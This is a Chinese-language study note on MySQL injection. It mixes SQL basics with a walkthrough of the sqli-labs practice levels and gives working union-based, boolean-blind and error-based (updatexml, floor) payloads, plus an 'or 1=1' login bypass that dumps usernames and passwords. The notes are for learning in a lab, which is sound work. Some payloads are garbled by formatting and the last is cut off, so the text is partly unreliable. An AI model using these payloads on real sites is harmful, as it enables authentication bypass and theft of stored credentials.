MYSQL注入
数据库基础:

MYSQL数据库

user()返回当前数据库连接使用的用户;
database()返回当前数据库连接使用的数据库;
version()返回当前数据库的版本;
concat-ws() 函数可以将这些函数进行组合使用并显示出来。concat函数中,将其中的参数直接连接起来产生新的字符串。而在concat_ws函数中,第一个参数是用于作为分隔符将后面各个参数的内容分隔开来再进行相应的连接产生新的字符串。
concat_ws(char(32,58,32),user(),database(),version())
information_schema.tablestable_schema: 记录数据库名;table_name: 记录数据表名;
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )

sql的注释

使用#号

  • 有时发现执行的sql语句中没有#号
  • 原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
  • 将#号改成url的编码%23就可以了

    使用—和使用—+

  • 这里发现+号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释。

  • 了解原理后便知道了—无法使用的原因,是因为—与后面的单引号连接在一起,无法形成有效的mysql语句。
  • 在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
  • 所以在注入时我们除了使用—+外,也可以使用—‘来完成sql注入语句

image.png
SQL注入 - 图2

MySQL 创建数据表

创建MySQL数据表需要以下信息:

  • 表名
  • 表字段名
  • 定义每个表字段

    语法

    以下为创建MySQL数据表的SQL通用语法:
    CREATE TABLE table_name (column_name column_type);
    以下例子中我们将在 RUNOOB 数据库中创建数据表runoob_tbl:
    CREATE TABLE IF NOT EXISTS runoob_tbl(
    runoob_id INT UNSIGNED AUTO_INCREMENT,
    runoob_title VARCHAR(100) NOT NULL,
    runoob_author VARCHAR(40) NOT NULL,
    submission_date DATE,
    PRIMARY KEY ( runoob_id )
    )ENGINE=InnoDB DEFAULT CHARSET=utf8;
    实例解析:

  • 如果你不想字段为 NULL 可以设置字段的属性为 NOT NULL, 在操作数据库时如果输入该字段的数据为NULL ,就会报错。

  • AUTO_INCREMENT定义列为自增的属性,一般用于主键,数值会自动加1。
  • PRIMARY KEY关键字用于定义列为主键。 您可以使用多列来定义主键,列间以逗号分隔。
  • ENGINE 设置存储引擎,CHARSET 设置编码

    MySQL 查询数据

    MySQL 数据库使用SQL SELECT语句来查询数据。
    你可以通过 mysql> 命令提示窗口中在数据库中查询数据,或者通过PHP脚本来查询数据。

    select语法

    以下为在MySQL数据库中查询数据通用的 SELECT 语法:
    SELECT column_name,column_name
    FROM table_name
    [WHERE Clause]
    [LIMIT N][ OFFSET M]

  • 查询语句中你可以使用一个或者多个表,表之间使用逗号(,)分割,并使用WHERE语句来设定查询条件。

  • SELECT 命令可以读取一条或者多条记录。
  • 你可以使用星号(*)来代替其他字段,SELECT语句会返回表的所有字段数据
  • 你可以使用 WHERE 语句来包含任何条件。
  • 你可以使用 LIMIT 属性来设定返回的记录数。
  • 你可以通过OFFSET指定SELECT语句开始查询的数据偏移量。默认情况下偏移量为0。

select from runoob_tbl;例如返回数据表runoob_tbl的所有记录
我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。
如需有条件地从表中选取数据,可将 WHERE 子句添加到 SELECT 语句中。
以下是 SQL SELECT 语句使用 WHERE 子句从数据表中读取数据的通用语法:
SELECT field1, field2,…fieldN FROM table_name1, table_name2…
[WHERE condition1 [AND [OR]] condition2…..

  • 查询语句中你可以使用一个或者多个表,表之间使用逗号, 分割,并使用WHERE语句来设定查询条件。
  • 你可以在 WHERE 子句中指定任何条件。
  • 你可以使用 AND 或者 OR 指定一个或多个条件。
  • WHERE 子句也可以运用于 SQL 的 DELETE 或者 UPDATE 命令。
  • WHERE 子句类似于程序语言中的 if 条件,根据 MySQL 表中的字段值来读取指定的数据。

以下为操作符列表,可用于 WHERE 子句中。
MySQL 的 WHERE 子句的字符串比较是不区分大小写的。 你可以使用 BINARY 关键字来设定 WHERE 子句的字符串比较是区分大小写的。

LIKE 子句

我们知道在 MySQL 中使用 SQL SELECT 命令来读取数据, 同时我们可以在 SELECT 语句中使用 WHERE 子句来获取指定的记录。
WHERE 子句中可以使用等号 = 来设定获取数据的条件,如 “runoob_author = ‘RUNOOB.COM’”。
但是有时候我们需要获取 runoob_author 字段含有 “COM” 字符的所有记录,这时我们就需要在 WHERE 子句中使用 SQL LIKE 子句。
SQL LIKE 子句中使用百分号 %字符来表示任意字符,类似于UNIX或正则表达式中的星号 *。
如果没有使用百分号 %, LIKE 子句与等号 = 的效果是一样的。
以下是 SQL SELECT 语句使用 LIKE 子句从数据表中读取数据的通用语法:
SELECT field1, field2,…fieldN
FROM table_name
WHERE field1 LIKE condition1 [AND [OR]] filed2 = ‘somevalue’

  • 你可以在 WHERE 子句中指定任何条件。
  • 你可以在 WHERE 子句中使用LIKE子句。
  • 你可以使用LIKE子句代替等号 =。
  • LIKE 通常与 % 一同使用,类似于一个元字符的搜索。
  • 你可以使用 AND 或者 OR 指定一个或多个条件。
  • 你可以在 DELETE 或 UPDATE 命令中使用 WHERE…LIKE 子句来指定条件。

    union子句

    UNION 语句:用于将不同表中相同列中查询的数据展示出来;(不包括重复数据)
    UNION ALL 语句:用于将不同表中相同列中查询的数据展示出来;(包括重复数据)
    使用形式如下:
    SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
    SELECT 列名称 FROM 表名称 UNION ALL SELECT 列名称 FROM 表名称 ORDER BY 列名称;

    ORDER BY 子句

    以下是 SQL SELECT 语句使用 ORDER BY 子句将查询数据排序后再返回数据:
    SELECT field1, field2,…fieldN FROM table_name1, table_name2…
    ORDER BY field1 [ASC [DESC][默认 ASC]], [field2…] [ASC [DESC][默认 ASC]]

  • 你可以使用任何字段来作为排序的条件,从而返回排序后的查询结果。

  • 你可以设定多个字段来排序。
  • 你可以使用 ASC 或 DESC 关键字来设置查询结果是按升序或降序排列。 默认情况下,它是按升序排列。
  • 你可以添加 WHERE…LIKE 子句来设置条件。

    其他sql函数

    一、万能密码

    原验证登陆语句:
    SELECT FROM admin WHERE Username= ‘“.$username.”‘ AND Password= ‘“.md5($password).”‘
    输入 1′ or 1=1 or ‘1’=’1#万能密码语句变为:
    SELECT
    FROM admin WHERE Username=’1’ OR 1=1 OR ‘1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’
    逻辑运算的优先顺序是NOT>OR>AND
    因为1=1恒为真所以并且注释掉了后面的语句,导致密码无论是啥都可以登录

    二、数字型注入

    可以对传入表达式进行计算 来判断是否为数字型注入
    后端语句为
    $res=mysqli_query($conn,”select title,content from wp_news where id=”.$_GET[‘id’])
    构造?id=1 union select user,pwd from wp_user limit 1,1limit 是指取查询结果第一条记录的后一条记录,或者使用id=-1

    爆库名

    mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息, 常用的几个表
    SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
    TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
    COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。是show columns from schemaname.tablename的结果取之此表。?id=-1’union select 1,group_concat(schema_name),3 from information_schema.schemata—+

    1.通过information_schema爆表名

    select 1返回1
    id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()

    2.爆字段

    id=-1 union select 1,group_conact(column_name)from information_schema.columns where table_name=’wp_user’

    3.爆用户密码

    ?id=1 union select user,pwd from wp_user limit 1,1

    三、字符型注入

    后端语句get输入处若被包裹了单引号或者双引号
    判断方法利用mysql的强制类型转化例如id=1a转化为id=1有页面回显则说明为字符型注入
    则构造方法为id=1’—+ 或者 id=1’# 加号在url中会被编码为空格
    接下来的操作就与数字型操作一样

    四、无回显的注入

    布尔盲注(页面的回显有两种情况时)

    布尔盲注通过页面的回显来判断0或者1
    例如a为被猜测的数据id=1’and ‘a’<’n’
    用二分法来缩小范围,就能够很快猜出字符
    多字符的情况
    利用,substring mid substr 函数等来截取数据的中的一位再用单字符的清况来继续判断
    例如?id=1’and mid((select concat(user,0x7e,pwd) from wp_user,1,1))=a来猜测用户名和密码

    时间盲注(页面无回显)

    报错注入

    常见的利用函数有:exp()、floor()+rand()、updatexml()、extractvalue()等
    如:select * from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)
    ‘ or updatexml(1,concat(‘~’,database()),1) #

    实战环节利用安装sqli-lab修炼

    小白的sql注入修炼,参考了各位大佬的博客,感谢
    SQL注入 - 图3

    less-1

    1.找到注入点,发现报错回显。
    ?id=1’
    看到报错语句。
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
    用—+或者%23注释引号
    发现已经闭合,只要在后面加—+或者#注释掉后面的部分就可以了。2.猜字段数。
    ?id=1’order by 3—+
    3.使用联合查询。
    ?id=-1’union select 1,2,3—+
    查询后面select查询的信息4.注入查询基本信息
    ?id=1’union select 1,2,concat_ws(char(32,58,32),user(),database(),version())—+
    得到用户名root@localhost :数据库 security : 版本信息5.5.44-0ubuntu0.14.04.1
    这里可以看到是在security数据库里面了,但是我们也可以构造一条语句爆出所有的库。5.爆库
    首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
    SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
    TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
    COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
    ?id=-1’union select 1,group_concat(schema_name),3 from information_schema.schemata—+
    得到数据库
    information_schema,challenges,mysql,performance_schema,security
    6.爆库security的表
    ?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’—+
    ps:table_schema=后面可以直接加单引号括起的数据库名,也可以是数据库的16进制,过滤单引号可用。
    得到security数据库的所有表
    emails,referers,uagents,users
    7.爆users列
    ?id=-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’—+
    id,username,password
    8.爆数据
    ?id=-1’union select 1,username,password from ctfshow_user where id=2—+
    确定注入点以后首先利用order by来确定列数
    ?id=1’order by 3—+
    爆库名(其实另 一种写法不用)
    ?id=-1’union select 1,group_concat(schema_name),3 from information_schema.schemata—+
    image.png
    爆表名
    ?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’—+
    爆列名
    ?id=-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’—+
    爆记录
    ?id=-1’union select 1,username,password from users where id=2—+

    其他做法

    ?id=1’order by 3—+
    确定该数据库的列数后
    ?id=-1’ union select 1,2,3%23
    这种就是先看第几个数是有回显的
    发现第2,3个数有回显
    然后进行注入
    user(),database(),version()
    ?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23
    这里database是指当前使用的数据库
    接着
    ?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’),3%23得到users表下的所有列名
    ?id=-1’ union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23

    less-2

    image.png
    image.png
    image.png
    image.png
    image.png

    less-3

    http://localhost/sqli-labs/Less-3/?id=1')--+

    less-4

    无回显报错注入
    1.mid()函数
    MID(column_name,start[,length])
    如: str=”123456” mid(str,2,1) 结果为2
    Sql用例:
    (1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
2.substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。
3.Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
Sql用例:
(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。
参考 :https://blog.csdn.net/like98k/article/details/79436463
image.png
盲注脚本法
报错注入法
(1). 通过floor报错and (select 1 from (select count(),concat((payload),floor (rand(0)_2))x from information_schema.tables group by x)a)其中payload为你要插入的SQL语句需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错and updatexml(1,payload,1)同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错and extractvalue(1, payload)输出字符有长度限制,最长32位。
http://localhost/sqli-labs/Less-5/?id=1‘and left(version(),1)=5—+
得到版本号为5开头
?id=1’and length(database())=8—+
数据库长度为8
一、concat()函数
1、mysql的Concat函数可以连接一个或多个字符串
select concat(‘10’);//10
select concat(‘11’,’22’,’33’);//112233
但是Oracle的concat函数只能连接两个字符串,不能多也不能少
select concat(‘11’,’22’) from dual;
2、mysql的Concat函数再连接字符串的时候,只要其中一个是null,南无返回就是null
select concat(‘11’,’22’,null);//null
而Oracle的concat函数连接的时候,只要有一个字符串不是NULL,就不会返回NULL
select concat(‘11’,NULL) from dual;//11
二、concat.ws()函数
表示concat with separator,即有分隔符的字符串连接
select concat_ws(‘,’,’11’,’22’,’33’);//11,22,33
select concat_ws(‘|’,’11’,’22’,’33’);//11|22|33
select concat_ws(‘
‘,’11’,’22’,NULL);//11_22
和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL
三、group_concat()
*必须将group by按照什么东西排序,也打印出来;否则函数不起作用
可用来行转列
爆基本信息
?id=1’ and updatexml(1,concat(0x7e,(select concat_ws(‘:’,database(),version(),user())),0x7e),1)—+
相当于报错注入的模板为
?id=1’ and updatexml(1,concat(0x7e,(sql语句),0x7e),1)—+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata )),0x7e,1)—+
查询当前库的所有表:
http://127.0.0.1/sql-labs/less-5/?id=1‘ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)—+
查询users表中的所有字段:http://127.0.0.1/sql-labs/less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns wheretable_name=‘users’),0x7e),1)–+
查询username、password字段的内容:**
http://127.0.0.1/sql-labs/less-5/?id=1‘ and updatexml(1,concat(0x7e,(select group_concat(username,’:’,passwo
超过长度限制利用mid等函数截取